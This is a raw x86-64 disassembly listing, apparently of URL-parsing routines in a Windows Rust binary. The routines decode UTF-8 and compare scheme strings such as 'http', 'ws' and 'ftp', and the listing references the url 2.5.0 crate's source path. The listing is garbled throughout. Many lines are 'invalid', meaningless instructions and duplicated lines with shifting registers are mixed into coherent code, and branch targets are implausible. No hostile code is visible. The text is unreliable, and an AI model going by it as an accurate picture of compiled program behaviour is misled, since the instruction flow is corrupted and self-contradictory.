invalid
add byte [rax + 0x39], cl
retf 0x7074
cmp rdx, rcx
je 0x1400f76a7
mov r9, rcx
movzx r10d, byte [rcx - 1]
test r10b, r10b
jns 0x1400f7620
movzx r11d, byte [r9 - 2]
movzx ebx, byte [rcx - 2]
cmp r11b, 0xc0
jge 0x1400f7672
movzx r14d, byte [r9 - 3]
mov dh, 0x71
std
cmp r14b, 0xbf
jg 0x1400f767c
lea rcx, [r9 - 4]
movzx esi, byte [r9 - 4]
and esi, 7
invalid
shl esi, 6
and r14d, 0x3f
or r14d, esi
jmp 0x1400f7684
invalid
lea rcx, [r9 - 2]
lea ecx, [rcx - 2]
and r11d, 0x1f
and ebx, 0x1f
jmp 0x1400f768f
lea rcx, [r9 - 3]
and r14d, 0xf
shl r14d, 6
and r11d, 0x3f
or r11d, r14d
shl r11d, 6
and r10b, 0x3f
movzx r10d, r10b
or r10d, r11d
cmp r10d, 0x110000
jne 0x1400f7628
xor ecx, ecx
test r8b, r8b
cmove rax, rcx
cmove rbp, rcx
lea r14, [rdi + rax]
test r15, r15
jne 0x1400f76de
jmp 0x1400f77d9
sub rbp, rdx
add rbp, r9
xor ecx, ecx
test r8b, r8b
cmove rax, rcx
lea r14, [rdi + rax]
test r15, r15
je 0x1400f77d9
mov rcx, rbp
sub rcx, rax
cmp rcx, r12
jae 0x1400f76f2
mov rcx, r15
mov dl, 1
call qword [r13 + 0x28]
lea rax, [rdi + rbp]
mov ecx, 0x2600
mov rdx, r14
jmp 0x1400f772a
add rdx, 2
shl r9d, 6
or r9d, r12d
mov r8d, r9d
cmp r8d, 0xd
ja 0x1400f772a
nop word cs:[rax + rax]
bt ecx, r8d
jb 0x1400f77d0
add byte [rax], al
invalid
cmp rdx, rax
je 0x1400f77d9
movzx r11d, byte [rdx]
movzx r8d, r11b
test r8b, r8b
js 0x1400f7750
inc rdx
inc edx
cmp r8d, 0xd
jbe 0x1400f7720
jmp 0x1400f772a
mov r9d, r8d
and r9d, 0x1f
loope 0x1400f7776
movzx r12d, byte [rdx + 1]
and r12d, 0x3f
cmp r8b, 0xdf
fbstp tbyte [rsi - 0x66]
loope 0x1400f7776
fbstp tbyte [rsi - 0x66]
movzx r10d, byte [rdx + 2]
shl r12d, 6
push rdx
add al, byte [rcx - 0x3f]
in al, 6
and r10d, 0x3f
or r10d, r12d
cmp r11b, 0xf0
cmp bl, 0xf0
cmp bl, 0xf0
jb 0x1400f77b3
movzx r8d, byte [rdx + 3]
movzx eax, byte [rdx + 3]
and r9d, 7
shl r9d, 0x12
loope case.0x1400b5836.1080
loope case.0x1400b5836.1080
shl r10d, 6
loop 0x1400f7793
and r8d, 0x3f
or r8d, r10d
or r8d, r9d
cmp r8d, 0x110000
clc
add byte [rax], al
adc dword [rax], eax
rol byte [rbp + 9], 1
enter 0xffffffffffff8141, 0xfffffffffffffff8
clc
clc
add byte [rax], al
adc dword [rax], eax
add byte [rcx], dl
add byte [rcx + rdi + 0x48], dh
add edx, 4
je 0x1400f77d9
add rdx, 4
cmp r8d, 0xd
jbe 0x1400f7720
invalid
invalid
jmp 0x1400f772a
ja 0x1400f77b0
invalid
invalid
add rdx, 3
shl r9d, 0xc
or r10d, r9d
mov r8d, r10d
cmp r8d, 0xd
jbe 0x1400f7720
jmp 0x1400f772a
mov rcx, r15
mov dl, 9
call qword [r13 + 0x28]
add rdi, rbp
mov eax, 0x2600
add byte [rsi], ah
add byte [rax], al
add byte [rsi], ah
add byte [rax], al
mov rcx, r14
jmp 0x1400f7818
inc rcx
inc ecx
cmp edx, 0xd
ja 0x1400f78c0
mov r8d, 0x110000
bt eax, edx
jae 0x1400f78c0
add byte [rcx], dl
add byte [rdi], cl
movabs dword [0x41000000b5830fd0], eax
cmp eax, 0x110000
jne 0x1400f78d0
cmp rcx, rdi
je 0x1400f7b21
movzx r10d, byte [rcx]
mov dh, 0x11
movzx edx, r10b
test dl, dl
jns 0x1400f77f0
mov r8d, edx
mov eax, edx
and r8d, 0x1f
movzx r11d, byte [rcx + 1]
and r11d, 0x3f
cmp dl, 0xdf
jbe 0x1400f788c
movzx r9d, byte [rcx + 2]
shl r11d, 6
invalid
and r9d, 0x3f
or r9d, r11d
cmp r10b, 0xf0
jb 0x1400f78a5
invalid
movzx edx, byte [rcx + 3]
and r8d, 7
shl r8d, 0x12
shl r9d, 6
loope 0x1400f786e
and edx, 0x3f
or edx, r9d
or edx, r8d
cmp edx, 0x110000
je 0x1400f7b21
add rcx, 4
cmp edx, 0xd
jbe 0x1400f77fc
jmp 0x1400f78c0
add rcx, 2
shl r8d, 6
or r8d, r11d
mov edx, r8d
cmp edx, 0xd
jbe 0x1400f77fc
jmp 0x1400f78c0
add rcx, 3
shl r8d, 0xc
or r9d, r8d
mov edx, r9d
cmp edx, 0xd
jbe 0x1400f77fc
nop dword [rax]
mov r8d, edx
cmp r8d, 0x110000
je 0x1400f7818
mov eax, 0x2600
mov rcx, r14
jmp 0x1400f7908
inc rcx
cmp edx, 0xd
ja 0x1400f79b0
mov r8d, 0x110000
bt eax, edx
jae 0x1400f79b0
cmp r8d, 0x110000
jne 0x1400f79c0
cmp rcx, rdi
je 0x1400f7b21
movzx r10d, byte [rcx]
movzx edx, r10b
test dl, dl
jns 0x1400f78e0
mov r8d, edx
and r8d, 0x1f
movzx r11d, byte [rcx + 1]
and r11d, 0x3f
cmp dl, 0xdf
jbe 0x1400f797c
movzx r9d, byte [rcx + 2]
shl r11d, 6
and r9d, 0x3f
or r9d, r11d
cmp r10b, 0xf0
jb 0x1400f7995
movzx edx, byte [rcx + 3]
and r8d, 7
shl r8d, 0x12
shl r9d, 6
invalid
and edx, 0x3f
or edx, r9d
or edx, r8d
cmp edx, 0x110000
cli
add byte [rax], al
adc dword [rax], eax
invalid
cli
add byte [rax], al
adc dword [rax], eax
je 0x1400f7b21
add rcx, 4
cmp edx, 0xd
invalid
or eax, 0xff72860f
invalid
jbe 0x1400f78ec
add rcx, 2
shl r8d, 6
rol dword [rdx], 0x41
shl eax, 6
or r8d, r11d
mov edx, r8d
cmp edx, 0xd
jbe 0x1400f78ec
pop rcx
invalid
invalid
invalid
pop rcx
invalid
jmp 0x1400f79b0
add rcx, 3
shl r8d, 0xc
shl eax, 0xc
shl eax, 0xc
or r9d, r8d
mov edx, r9d
cmp edx, 0xd
jbe 0x1400f78ec
invalid
nop dword [rax]
mov r8d, edx
cmp r8d, 0x110000
add byte [rax], al
adc dword [rax], eax
invalid
add byte [rax], al
adc dword [rax], eax
invalid
je 0x1400f7908
and r8d, 0xffffffdf
add r8d, 0xffffffbf
cmp r8d, 0x19
ja 0x1400f7b21
add qword [r8], r8
invalid
add qword [r8], r8
add byte [rbp + rcx*4 - 0x44], cl
invalid
invalid
mov esp, 0x10824
lea r15, [rsp + 0x108]
mov ebp, 0x2600
add byte [rbp + 0x2600], bh
mov rbx, r14
jmp 0x1400f7a00
stc
sbb cl, byte [rdi]
ror byte [r9 + r9*4 - 7], 1
call fcn.1400f72b0
nop word [rax + rax]
cmp rbx, rdi
je case.0x1400df857.121
add eax, dword [rax]
invalid
add eax, dword [rax]
add byte [rdi + rcx - 0x4a], al
add eax, dword [rcx + 0xf]
mov dh, 0xc0
movzx r8d, byte [rbx]
movzx eax, r8b
test al, al
js 0x1400f7a30
inc rbx
cmp eax, 0xd
jbe 0x1400f7a85
invalid
or eax, 0x9ee96876
add byte [rax], al
push 0x9ee9
jmp 0x1400f7ac0
add byte [rsi + 0x66], ah
nop word cs:[rax + rax]
add byte [rax], al
add byte [rax], al
invalid
mov ecx, eax
and ecx, 0x1f
movzx r9d, byte [rbx + 1]
movzx ecx, byte [rbx + 1]
movzx ecx, byte [rbx + 1]
and r9d, 0x3f
loope 0x1400f7a7d
cmp al, 0xdf
jbe 0x1400f7a90
movzx edx, byte [rbx + 2]
shl r9d, 6
and edx, 0x3f
or edx, r9d
cmp r8b, 0xf0
clc
invalid
jb 0x1400f7aa3
clc
invalid
movzx eax, byte [rbx + 3]
add rbx, 4
and ecx, 7
shl ecx, 0x12
shl edx, 6
and eax, 0x3f
invalid
or eax, edx
or eax, ecx
cmp eax, 0x110000
je 0x1400f7d4e
invalid
nop dword [rax]
cmp eax, 0xd
ja 0x1400f7ac0
invalid
add byte [rax], al
add byte [rbx + 0x3b770df8], al
invalid
cmp ecx, dword [rdi]
bt ebp, eax
jb 0x1400f7a00
invalid
jb 0x1400f7a8b
invalid
invalid
movabs dword [0xebffffff72820fc5], eax
xor byte [rax - 0x7d], cl
ret
invalid
jmp 0x1400f7ac0
add rbx, 2
shl ecx, 6
or ecx, r9d
mov eax, ecx
cmp eax, 0xd
jbe 0x1400f7a85
jmp 0x1400f7ac0
add rbx, 3
add ebx, 3
shl ecx, 0xc
or edx, ecx
mov eax, edx
cmp eax, 0xd
jbe 0x1400f7a85
nop word cs:[rax + rax]
cmp eax, 0x110000
je 0x1400f7a00
lea ecx, [rax - 0x41]
cmp edx, 0x1a
jb case.0x1400d8f11.352
mov qword [rsp + 0x118], 0
add byte [rax], al
add byte [rax], al
add byte [rax], al
mov rbx, qword [rsp + 0x120]
test rbx, rbx
je 0x1400f7cc6
mov eax, 0x2600
add byte es:[rax], al
mov rcx, r14
jmp case.0x1400dbc8d.255
test byte [rax], al
add byte [rax], al
add byte [rax], al
inc rcx
cmp edx, 0xd
ja 0x1400f7c10
add byte [rcx - 0x48], al
add byte [rax], al
adc dword [rax], eax
mov r8d, 0x110000
bt eax, edx
jae 0x1400f7c10
invalid
mov ch, 0
add byte [rax], al
ror byte [rdi], 1
xor dword [rbp + 0x41000000], 0xffffff81
clc
add byte [rax], al
add byte [rcx], dl
invalid
cmp r8d, 0x110000
add byte [rcx], dl
add byte [rdi], cl
test dword [rax + 0x48000000], edi
cmp rcx, rdi
jne 0x1400f7c20
cmp rcx, rdi
je 0x1400f7c92
movzx edx, byte [rcx]
movzx edx, r10b
test dl, dl
jns case.0x1400b5836.1112
mov r8d, edx
and r8d, 0x1f
movzx r11d, byte [rcx + 1]
and r11d, 0x3f
mov dh, 0x59
add dword [rcx - 0x7d], eax
jrcxz 0x1400f7bcc
cmp dl, 0xdf
jbe 0x1400f7bdc
movzx r9d, byte [rcx + 2]
mov dh, 0x49
add al, byte [rcx - 0x3f]
shl r11d, 6
shl r11d, 6
shl ebx, 6
and r9d, 0x3f
or r9d, r11d
invalid
invalid
fld dword [rcx - 0x80]
cli
invalid
cmp r10b, 0xf0
jb 0x1400f7bf5
movzx edx, byte [rcx + 3]
and r8d, 7
shl r8d, 0x12
invalid
shl r9d, 6
and edx, 0x3f
or edx, r9d
or edx, ecx
or edx, ecx
or edx, r8d
cmp edx, 0x110000
je 0x1400f7c92
test ch, al
add byte [rax], al
add byte [rax], al
test ch, al
add byte [rax], al
add byte [rax], al
add rcx, 4
invalid
cli
add byte [rax], al
add rcx, 4
add al, 0x83
cli
cmp edx, 0xd
jbe case.0x1400dbbc3.262
jb 0x1400f7bd7
invalid
invalid
or eax, 0xff72860f
invalid
add rcx, 2
shl r8d, 6
or r8d, r11d
mov edx, r8d
cmp edx, 0xd
or eax, 0xff59860f
invalid
invalid
or eax, 0xff59860f
invalid
invalid
jmp 0x1400f7c10
add rcx, 3
shl r8d, 0xc
or r9d, r8d
mov edx, r9d
cmp edx, 0xd
cli
invalid
cli
or eax, 0xff40860f
invalid
xchg byte [rax - 1], al
invalid
jbe case.0x1400dbbc3.262
mov r8d, edx
cmp r8d, 0x110000
clc
add byte [rax], al
adc dword [rax], eax
je case.0x1400dbc8d.255
cmp r8d, 0x23
jne 0x1400f7c92
test byte [rax + rsi*4], ah
add byte [rax], al
add byte [rdi], cl
adc byte [rsp + 0x108], al
or byte [rcx], al
add byte [rax], al
or byte [rcx], al
add byte [rax], al
movups xmm1, xmmword [rsp + 0x118]
movups xmm2, xmmword [rsp + 0x128]
add byte [rax], al
add byte [rax], al
movups xmm3, xmmword [rsp + 0x138]
movaps xmmword [rsp + 0xa0], xmm3
movaps xmmword [rsp + 0x90], xmm2
movaps xmmword [rsp + 0x80], xmm1
movaps xmmword [rsp + 0x70], xmm0
mov qword [rsp + 0x20], rdi
lea rdx, [rsp + 0x70]
mov rcx, qword [rsp + 0x68]
mov r8, rbx
mov r9, r14
call fcn.1400fe1f0
jmp 0x1400f876b
mov r9d, dword [rbx + 0x2c]
mov r8d, r9d
mov rcx, qword [rbx + 8]
mov rdx, qword [rbx + 0x10]
inc r8d
je 0x1400f7ccc
cmp rdx, r8
jbe 0x1400f7cca
cmp byte [rcx + r8], 0xbf
jg 0x1400f7ccc
lea rax, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001furl_2.5.0_srclib.rs
mov qword [rsp + 0x20], rax
mov r9, rdx
call fcn.140104b90
mov al, 6
jmp 0x1400f7cfc
jne 0x1400f7cb2
mov al, 7
cmp rdx, r8
je 0x1400f7cfc
cmp byte [rcx + r8], 0x2f
jne 0x1400f7cfc
test r9d, r9d
je 0x1400f7dfe
cmp rdx, r9
jbe 0x1400f7df8
cmp byte [rcx + r9], 0xbf
jg 0x1400f7dfe
mov rcx, qword [rsp + 0x68]
mov byte [rcx + 8], al
movabs rax, 0x8000000000000000
add byte [rax], al
add byte [rax + 0x48018948], al
cmp dword [rsp + 0x108], 0
add byte [rax], al
add byte [rax + 0x48018948], al
cmp dword [rsp + 0x108], 0
je 0x1400f876b
or al, byte [r8]
add byte [rbx + rcx*4 - 0x7c], cl
and al, 0x10
add dword [rax], eax
add byte [rax - 0x75], cl
or eax, 0x854d9
mov r8, qword [rsp + 0x110]
mov rcx, qword [0x14017d208]
xor edx, edx
add rsp, 0x1b8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
jmp qword [sym.imp.kernel32.dll_HeapFree]
mov rbx, rdi
cmp byte [rsp + 0x148], 1
jne 0x1400f7b0d
movups xmm0, xmmword [rsp + 0x108]
movups xmm1, xmmword [rsp + 0x118]
and al, 0x18
add dword [rax], eax
add byte [rdi], cl
adc byte [rsp + 0x128], dl
add byte [rax], al
add byte [rax], al
movups xmm3, xmmword [rsp + 0x138]
movaps xmmword [rsp + 0xd0], xmm1
mov rax, qword [rsp + 0x148]
mov qword [rsp + 0x100], rax
test byte [rax + rax], ah
add dword [rax], eax
add byte [rdi], cl
sub dword [rsp + 0xf0], ebx
movaps xmmword [rsp + 0xe0], xmm2
loopne 0x1400f7da2
add byte [rax], al
movaps xmmword [rsp + 0xc0], xmm0
mov r14, qword [rsp + 0xd0]
mov rax, r14
shr rax, 0x20
jne 0x1400f7ee6
mov rdx, qword [rsp + 0xc8]
lea eax, [r14 - 2]
cmp eax, 3
ja case.default.0x1400f7de0
lea rcx, [0x140175c58]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
movzx eax, word [rdx]
cmp eax, 0x7377
je 0x1400f7f91
mov bpl, 2
jmp 0x1400f7f94
jne 0x1400f8147
mov rdx, r9
call fcn.1400fe4a0
test al, al
je 0x1400f7e7a
mov rcx, qword [rsp + 0x148]
mov qword [rsp + 0xb0], rcx
movups xmm0, xmmword [rsp + 0x108]
movups xmm1, xmmword [rsp + 0x118]
movups xmm2, xmmword [rsp + 0x128]
movups xmm3, xmmword [rsp + 0x138]
movaps xmmword [rsp + 0xa0], xmm3
movaps xmmword [rsp + 0x90], xmm2
movaps xmmword [rsp + 0x80], xmm1
movaps xmmword [rsp + 0x70], xmm0
mov qword [rsp + 0x28], rbx
mov byte [rsp + 0x20], al
lea rdx, [rsp + 0x70]
mov rcx, qword [rsp + 0x68]
mov r8, r14
mov r9, rdi
call fcn.1400fd340
jmp 0x1400f876b
mov rax, qword [rsp + 0x148]
mov qword [rsp + 0xb0], rax
movups xmm0, xmmword [rsp + 0x108]
movups xmm1, xmmword [rsp + 0x118]
movups xmm2, xmmword [rsp + 0x128]
movups xmm3, xmmword [rsp + 0x138]
movaps xmmword [rsp + 0xa0], xmm3
movaps xmmword [rsp + 0x90], xmm2
movaps xmmword [rsp + 0x80], xmm1
movaps xmmword [rsp + 0x70], xmm0
mov qword [rsp + 0x20], rbx
lea rdx, [rsp + 0x70]
mov rcx, qword [rsp + 0x68]
mov r8, r14
mov r9, rdi
call fcn.1400fbc70
jmp 0x1400f876b
mov rcx, qword [rsp + 0x68]
mov byte [rcx + 8], 9
movabs rax, 0x8000000000000000
mov qword [rcx], rax
cmp qword [rsp + 0xc0], 0
je 0x1400f876b
mov r8, qword [rsp + 0xc8]
mov rcx, qword [0x14017d208]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x1400f876b
cmp dword [rdx], 0x70747468
je 0x1400f7f91
mov eax, dword [rdx]
bswap eax
xor ecx, ecx
cmp eax, 0x66696c66
setae cl
cmp eax, 0x66696c65
sbb ecx, 0
setne bpl
add bpl, bpl
jmp 0x1400f7f94
mov eax, 0x70747468
xor eax, dword [rdx]
movzx ecx, byte [rdx + 4]
xor ecx, 0x73
or ecx, eax
jmp 0x1400f7f86
movzx eax, word [rdx]
xor eax, 0x7377
movzx ecx, byte [rdx + 2]
xor ecx, 0x73
or cx, ax
je 0x1400f7f91
movzx eax, word [rdx]
xor eax, 0x7466
movzx ecx, byte [rdx + 2]
xor ecx, 0x70
or cx, ax
or ecx, eax
sete al
mov bpl, 2
sub bpl, al
jmp 0x1400f7f94
mov bpl, 1
mov rax, r14
cmp r14, qword [rsp + 0xc0]
jne 0x1400f7fbe
lea rcx, [rsp + 0xc0]
call fcn.1400cf3b0
mov rdx, qword [rsp + 0xc8]
mov rax, qword [rsp + 0xd0]
mov byte [rdx + rax], 0x3a
inc rax
mov qword [rsp + 0xd0], rax
test bpl, bpl
test ch, ch
je 0x1400f80cb
movzx ecx, bpl
cmp ecx, 2
jne 0x1400f815b
mov rax, qword [rsp + 0x100]
mov qword [rsp + 0x190], rax
movaps xmm0, xmmword [rsp + 0xc0]
movaps xmm1, xmmword [rsp + 0xd0]
movaps xmm2, xmmword [rsp + 0xe0]
movaps xmm3, xmmword [rsp + 0xf0]
movaps xmmword [rsp + 0x180], xmm3
movaps xmmword [rsp + 0x170], xmm2
movaps xmmword [rsp + 0x160], xmm1
movaps xmmword [rsp + 0x150], xmm0
mov qword [rsp + 0x70], rbx
mov dword [rsp + 0x70], ebx
mov dword [rsp + 0x70], ebx
mov qword [rsp + 0x78], rdi
lea rcx, [0x14016f048]
lea r8, [rsp + 0x70]
mov edx, 2
call fcn.1400f88e0
test al, al
ror byte [rdi], 0x84
add al, byte [r8]
invalid
ror byte [rdi], 0x84
add al, byte [r8]
add byte [rbx + rcx*4 + 0x44], cl
mov eax, dword [rsp + 0x70]
mov r8, qword [rsp + 0x70]
mov r9, qword [rsp + 0x78]
mov rax, qword [rsp + 0x100]
mov qword [rsp + 0xb0], rax
movaps xmm0, xmmword [rsp + 0xc0]
movaps xmm1, xmmword [rsp + 0xd0]
sub byte [rsp + 0xd0], cl
sub byte [rsp + 0xd0], cl
movaps xmm2, xmmword [rsp + 0xe0]
movaps xmm3, xmmword [rsp + 0xf0]
add byte [rax], al
add byte [rdi], cl
sub dword [rsp + 0xa0], ebx
movaps xmmword [rsp + 0x90], xmm2
sub dword [rsp + 0x90], edx
movaps xmmword [rsp + 0x80], xmm1
movaps xmmword [rsp + 0x70], xmm0
mov dword [rsp + 0x28], r14d
mov byte [rsp + 0x20], 2
lea rdx, [rsp + 0x70]
mov rcx, qword [rsp + 0x68]
jmp 0x1400f8766
mov r14, qword [rsp + 0xf0]
test r14, r14
je 0x1400f810d
mov r15, qword [rsp + 0xf8]
mov qword [rsp + 0x70], rbx
mov qword [rsp + 0x78], rdi
lea rcx, [0x14016f048]
lea r8, [rsp + 0x70]
mov edx, 2
call fcn.1400f88e0
test al, al
jne 0x1400f810d
mov rcx, r14
mov dl, 4
call qword [r15 + 0x28]
invalid
sub byte [rbx + rcx*4 - 0x4c], cl
and al, 0xd8
add byte [rax], al
add byte [rbp - 0x7b], cl
test byte [rdi], 0x84
mov ebx, 0x45000002
mov ecx, dword [rsi + 0x2c]
mov r14, qword [rsp + 0xd8]
test r14, r14
je 0x1400f83d9
mov r9d, dword [r14 + 0x2c]
test r9, r9
je 0x1400f83d9
mov rcx, qword [r14 + 8]
mov ecx, dword [rsi + 8]
mov rdx, qword [r14 + 0x10]
cmp rdx, r9
jbe 0x1400f83b4
cmp byte [rcx + r9], 0xbf
jg 0x1400f83ba
invalid
jae 0x1400f8147
add al, byte [rax]
invalid
invalid
add al, byte [rax]
add byte [rax - 0x73], cl
add eax, 0x76e42
lea rax, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001furl_2.5.0_srclib.rs
mov qword [rsp + 0x20], rax
xor r8d, r8d
call fcn.140104b90
retf 0
retf 0
add byte [rax], al
xor ecx, ecx
mov r8d, 0x2600
add byte [rcx - 0x77], cl
fisttp word [rcx - 0x77]
invalid
cmp r9, rdi
add byte [rcx - 0x77], cl
fisttp word [rcx - 0x77]
invalid
jne 0x1400f818c
jmp case.0x1400d7de1.385
mov r11d, r10d
cmp r11d, 0x110000
add byte [rax], al
adc dword [rax], eax
jne 0x1400f822f
cmp r9, rdi
je case.0x1400d7de1.385
add byte [rax], al
invalid
add byte [rax], al
add byte [rbp + 0xf], al
movzx r12d, byte [r9]
mov dh, 0x21
movzx r10d, r12b
test r10b, r10b
js 0x1400f819e
inc r9
jmp 0x1400f8210
mov r11d, r10d
and r11d, 0x1f
and ebx, 0x1f
and ebx, 0x1f
movzx r13d, byte [r9 + 1]
and r13d, 0x3f
add dword [rcx - 0x7d], eax
in eax, 0x3f
cmp r10b, 0xdf
jbe case.0x1400aadb0.1225
movzx ebp, byte [r9 + 2]
shl r13d, 6
invalid
mov dh, 0x69
add al, byte [rcx - 0x3f]
in eax, 6
invalid
and ebp, 0x3f
or ebp, r13d
cmp r12b, 0xf0
jb 0x1400f8202
movzx r10d, byte [r9 + 3]
and r11d, 7
shl r11d, 0x12
shl ebp, 6
and r10d, 0x3f
or r10d, ebp
or r10d, r11d
cmp r10d, 0x110000
add byte [rax], al
adc dword [rax], eax
add byte [rax], al
adc dword [rax], eax
je case.0x1400d7de1.385
add r9, 4
jmp 0x1400f8210
add r9, 2
shl r11d, 6
or r11d, r13d
mov r10d, r11d
mov edx, ebx
jmp 0x1400f8210
add r9, 3
shl r11d, 0xc
or al, 0x44
or ebp, ebx
mov r10d, ebp
cmp r10d, 0xd
ja 0x1400f8173
mov r11d, 0x110000
add byte [rax], al
adc dword [rax], eax
bt r8d, r10d
jb 0x1400f8176
jmp 0x1400f8173
cmp r11d, 0x5c
cmp ebx, 0x5c
je 0x1400f823b
cmp r11d, 0x2f
jne case.0x1400d7de1.385
inc ecx
mov r15, r9
cmp r9, rdi
jne 0x1400f818c
test dword [rbx - 1], eax
invalid
invalid
test dword [rbx - 1], eax
invalid
cmp ecx, 1
ja 0x1400f85b8
invalid
add byte [rbx + rcx*4 - 0x5c], cl
and al, 0xd8
mov r12, qword [rsp + 0xd8]
test r12, r12
je 0x1400f85b8
test byte [rbp + 3], dl
add byte [rax], al
add byte [rax], al
add byte [rbp - 0x7b], cl
in al, 0xf
test byte [rbp + 3], dl
add byte [rax], al
mov r9d, dword [r12 + 0x2c]
and al, 0x2c
and al, 0x2c
mov rcx, qword [r12 + 8]
mov ecx, dword [rsp + 8]
test r9, r9
je 0x1400f8573
std
add al, byte [rax]
invalid
std
add al, byte [rax]
add byte [rbp - 0x75], cl
and al, 0x10
invalid
add byte [rax], al
mov r8, qword [r12 + 0x10]
adc byte [rbp + 0x39], cl
cmp r8, r9
jbe 0x1400f856d
add al, byte [rax]
invalid
enter 0xffffffffffff860f, 0xffffffffffffffe9
add al, byte [rax]
add byte [rdx - 0x80], al
cmp byte [rcx + r9], 0xbf
cmp al, 9
mov edi, 0x2e48f0f
jg 0x1400f8573
jg 0x1400f8573
lea rax, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001furl_2.5.0_srclib.rs
add eax, 0x76cfa
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x20], eax
and al, 0x20
mov rdx, r8
xor r8d, r8d
call fcn.140104b90
invalid
ret 0x3145
mov r15, qword [rsp + 0x160]
mov rax, r15
invalid
add dword [rax], eax
add byte [rcx + rcx*4 - 8], cl
shr rax, 0x20
jne 0x1400f8382
test edi, eax
add byte [rax], al
invalid
call 0x1079491d8
test edi, eax
add byte [rax], al
add dh, al
test byte [rdi + riz*4], ah
add dword [rax], eax
mov byte [rsp + 0x1a7], 0
add byte [rax], al
mov eax, 0x2600
mov r12, rbx
jmp 0x1400f82db
cmp edx, 0x110000
jne 0x1400f845b
add byte [rax], al
add byte [rax], al
cmp r12, rdi
je case.0x1400dc5a5.227
movzx r9d, byte [r12]
movzx ecx, r9b
mov dh, 0xc9
test cl, cl
leave
js 0x1400f82f6
inc r12
jmp 0x1400f8366
invalid
movzx r10d, byte [r12 + 1]
and r10d, 0x3f
cmp cl, 0xdf
jbe 0x1400f834b
movzx r8d, byte [r12 + 2]
shl r10d, 6
and r8d, 0x3f
or r8d, r10d
cmp r9b, 0xf0
jb 0x1400f8359
movzx ecx, byte [r12 + 3]
and edx, 7
shl edx, 0x12
shl r8d, 6
and ecx, 0x3f
or ecx, r8d
or ecx, eax
or ecx, eax
or ecx, edx
cmp ecx, 0x110000
je case.0x1400dc5a5.227
add r12, 2
shl edx, 6
or edx, r10d
mov ecx, edx
jmp 0x1400f8366
add r12, 3
shl edx, 0xc
or r8d, edx
mov ecx, r8d
cmp ecx, 0xd
ja 0x1400f82cd
pop rsi
invalid
invalid
invalid
mov rcx, qword [rsp + 0x68]
mov byte [rcx + 8], 9
movabs rax, 0x8000000000000000
mov qword [rcx], rax
cmp qword [rsp + 0x150], 0
je 0x1400f876b
mov r8, qword [rsp + 0x158]
jmp 0x1400f7f13
jne 0x1400f8147
cmp r9d, 4
jne 0x1400f83d9
lea rdx, [0x14016efb4]
mov r8, r9
call sub.VCRUNTIME140.dll_memcmp
xor ecx, ecx
test eax, eax
cmove rcx, r14
jmp 0x1400f83db
xor ecx, ecx
mov qword [rsp + 0xd0], 0
mov rax, qword [rsp + 0x100]
mov qword [rsp + 0xb0], rax
movaps xmm0, xmmword [rsp + 0xc0]
movaps xmm1, xmmword [rsp + 0xe0]
movaps xmm2, xmmword [rsp + 0xf0]
and al, 0xf0
add byte [rax], al
add byte [rax], al
and al, 0xf0
add byte [rax], al
add byte [rax], al
movaps xmmword [rsp + 0xa0], xmm2
add byte [rax], al
movaps xmmword [rsp + 0xa0], xmm2
movaps xmmword [rsp + 0x90], xmm1
mov rax, qword [rsp + 0xd0]
mov qword [rsp + 0x80], rax
test byte [rax + rax*4], ah
add byte [rax], al
invalid
test byte [rax + rdx*8], ah
add byte [rax], al
add byte [rax - 0x77], cl
test byte [rax + rax*4], ah
and al, 0x80
add byte [rax], al
add byte [rax - 0x75], cl
mov rax, qword [rsp + 0xd8]
mov qword [rsp + 0x88], rax
add byte [rax], al
movaps xmmword [rsp + 0x70], xmm0
mov rax, qword [rsp + 0xd8]
mov qword [rsp + 0x88], rax
add byte [rax], al
add byte [rax], al
movaps xmmword [rsp + 0x70], xmm0
mov qword [rsp + 0x20], rcx
mov dword [rsp + 0x20], ecx
lea rdx, [rsp + 0x70]
push rsp
and al, 0x70
mov rcx, qword [rsp + 0x68]
mov r8, rbx
jmp 0x1400f7ed9
invalid
invalid
invalid
cmp edx, 0x2f
jne case.0x1400dc5a5.227
mov rax, r15
cmp r15, qword [rsp + 0x150]
jne 0x1400f8482
push rax
add dword [rax], eax
add byte [rbp + 0x15], dh
lea rcx, [rsp + 0x150]
mov word [rax + rdx*2], fs
add dword [rax], eax
add al, ch
call fcn.1400cf3b0
mov rax, qword [rsp + 0x160]
mov eax, dword [rsp + 0x160]
invalid
invalid
mov word [rax + rbx*2], fs
add dword [rax], eax
call fcn.1400cf3b0
mov rax, qword [rsp + 0x160]
mov eax, dword [rsp + 0x160]
mov eax, dword [rsp + 0x160]
mov rcx, qword [rsp + 0x158]
mov byte [rcx + rax], 0x2f
inc rax
add dh, al
add al, 1
invalid
mov qword [rsp + 0x160], rax
add byte [rax], al
mov byte [rsp + 0x70], 0
mov qword [rsp + 0x28], rdi
mov dword [rsp + 0x28], edi
mov dword [rsp + 0x28], edi
mov qword [rsp + 0x20], r12
and al, 0x20
lea rcx, [rsp + 0x150]
lea r8, [rsp + 0x70]
and al, 0x70
and al, 0x70
mov dl, 2
mov r9, r15
call fcn.1400fa5b0
int1
and byte [rax], al
add bl, ch
invalid
int1
and byte [rax], al
add bl, ch
adc ecx, dword [rax - 0x73]
invalid
invalid
mov word [rax + rdx*2], fs
push rax
lea rcx, [rsp + 0x150]
mov rdx, rbx
mov r8, rdi
mov eax, edi
push rax
add dword [rax], eax
add byte [rax - 0x77], cl
fimul dword [rcx - 0x77]
mov eax, edi
mov eax, edi
call fcn.1400fa2a0
mov rcx, qword [rsp + 0x68]
and al, 0x68
mov r8, qword [rsp + 0x190]
mov qword [rsp + 0xb0], r8
add byte [rax], al
add byte [rax], al
movaps xmm0, xmmword [rsp + 0x150]
movaps xmm1, xmmword [rsp + 0x160]
mov word [rax + riz*2], fs
add dword [rax], eax
invalid
push rax
add dword [rax], eax
add byte [rdi], cl
sub byte [rsp + 0x160], cl
mov word [rax + riz*2], fs
add dword [rax], eax
invalid
movaps xmm2, xmmword [rsp + 0x170]
movaps xmm3, xmmword [rsp + 0x180]
movaps xmmword [rsp + 0xa0], xmm3
pushfq
and al, 0xa0
movabs al, byte [0x902494290f000000]
add byte [rax], al
invalid
pushfq
and al, 0xa0
movabs al, byte [0x902494290f000000]
add byte [rax], al
invalid
